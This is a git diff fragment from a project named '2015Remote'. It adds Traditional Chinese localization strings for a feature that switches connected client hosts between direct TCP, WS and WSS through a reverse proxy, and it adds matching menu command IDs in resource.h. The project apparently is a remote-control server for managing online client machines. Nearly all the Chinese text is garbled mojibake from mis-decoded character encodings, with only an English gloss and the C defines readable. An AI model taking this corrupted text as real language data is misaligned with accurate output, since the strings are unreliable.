+ȷ¶¨Çл»ѡÖÐÖ÷»úµĴ«ÊäЭÒéÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ»ÐÂÈë¿Ú 5 ·ÖÖÓÄÚÁ¬²»ÉϽ«×Զ¯»ØÍˣ©=Switch the transport protocol for the selected hosts?\n(Clients reconnect immediately and any active remote session is interrupted; if the new entry stays unreachable for 5 minutes, the client reverts automatically) diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 83fe07d..201d725 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -2147,3 +2147,16 @@ Y »­Ãæ %dx%d£»Éϱ¨ %s£»ϵÊýΪÕæʵ³ýÒÔÉϱ¨=®‹Ãæ %dx%d£»Éψó %s£»‚S”µžéÕ挍³ýÒÔÉψó Ëõ·ÅϵÊýÐèÔÚ 0.2 µ½ 5.0 ֮¼䡣=¿s·łS”µÐèÔÚ 0.2 µ½ 5.0 ֮ég¡£ ÒѰ´ »­Ãæ/Éϱ¨ ×Զ¯Ìîд£¬¿ÉÐ޸Ä=ÒÑÒÀ ®‹Ãæ/Éψó ×ԄÓÌîÈ룬¿ÉÐ޸Ä + +; ===== ЭÒéÇл» (Protocol Switch) ===== +ЭÒéÇл»=…f¶¨ÇГQ +ֱÁ¬ TCP=ֱßB TCP +WS£¨¾­·´Ïò´úÀí£¬Ã÷Îģ©=WS£¨½›·´Ïò´úÀí£¬Ã÷Îģ© +WSS£¨¾­·´Ïò´úÀí£¬TLS£©=WSS£¨½›·´Ïò´úÀí£¬TLS£© +ÇëÊäÈ뷴Ïò´úÀíÈë¿ڣ¨ÓòÃû:¶˿ڣ¬ÀýÈç ws.example.com:443£©:=ՈݔÈ뷴Ïò´úÀíÈë¿ڣ¨¾WÓò:ßB½Ӳº£¬ÀýÈç ws.example.com:443£©: +·´Ïò´úÀíÈë¿ڸñʽ²»Õýȷ£¬ӦΪ ÓòÃû:¶˿Ú=·´Ïò´úÀíÈë¿ڸñʽ²»Õý´_£¬‘ªžé ¾WÓò:ßB½Ӳº +·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»µ½ WSS=ËŷþÆ÷δ†¢Óà TLS ‘{×C£¬Ÿo·¨ÇГQµ½ WSS +¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Çл»µ½ WSS=×xȡËŷþÆ÷ TLS ‘{×Cʧ”¡£¬Ÿo·¨ÇГQµ½ WSS +ѡÖеÄÖ÷»úÀïÓпͻ§¶˰汾²»֧³ÖЭÒéÇл»£¨ÐèҪаæ¿ͻ§¶ˣ©=ßxȡµÄÖ÷™CÖÐÓÐÓÑô¶˰汾²»֧Ԯ…f¶¨ÇГQ£¨ÐèҪаæÓÑô¶ˣ© +ȷ¶¨°ÑѡÖÐÖ÷»úÇлØֱÁ¬ TCP Âð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£»ÈôֱÁ¬¶˿ڲ»¿ɴ5 ·ÖÖӺó×Զ¯»ØÍ˵½µ±ǰÈë¿ڣ©=´_¶¨Œ¢ßxȡÖ÷™CÇлØֱßB TCP †᣿\n£¨ÓÑô¶ËÁ¢¼´”ྀÖØßB£»ÈôֱßBßB½Ӳº²»¿Éß_£¬5 ·ÖçŠáá×ԄӻØÍ˵½ĿǰÈë¿ڣ© +ȷ¶¨Çл»ѡÖÐÖ÷»úµĴ«ÊäЭÒéÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ»ÐÂÈë¿Ú 5 ·ÖÖÓÄÚÁ¬²»ÉϽ«×Զ¯»ØÍˣ©=´_¶¨ÇГQßxȡÖ÷™CµĂ÷ݔ…f¶¨†᣿\n£¨ÓÑô¶ËÁ¢¼´”ྀÖØßB£¬ÕýÔÚßMÐеÄßh¶˹¤×÷ëA¶ΕþÖДࣻÐÂÈë¿Ú 5 ·Ö犃ÈßB²»Éό¢×ԄӻØÍˣ© diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 281925e..19d4517 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1113,14 +1113,18 @@ #define ID_EXPERIMENT_TLS_DISABLE 33095 #define ID_MSGLOG_WHITELIST_IP 33096 #define ID_ONLINE_COPY_NAME 33097 +// 协议切换(在线主机列表右键菜单,与「实验功能」平级) +#define ID_PROTO_SWITCH_TCP 33098 +#define ID_PROTO_SWITCH_WS 33099 +#define ID_PROTO_SWITCH_WSS 33100 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 417 -#define _APS_NEXT_COMMAND_VALUE 33098 +#define _APS_NEXT_COMMAND_VALUE 33101 #define _APS_NEXT_CONTROL_VALUE 2621 #define _APS_NEXT_SYMED_VALUE 105 #endif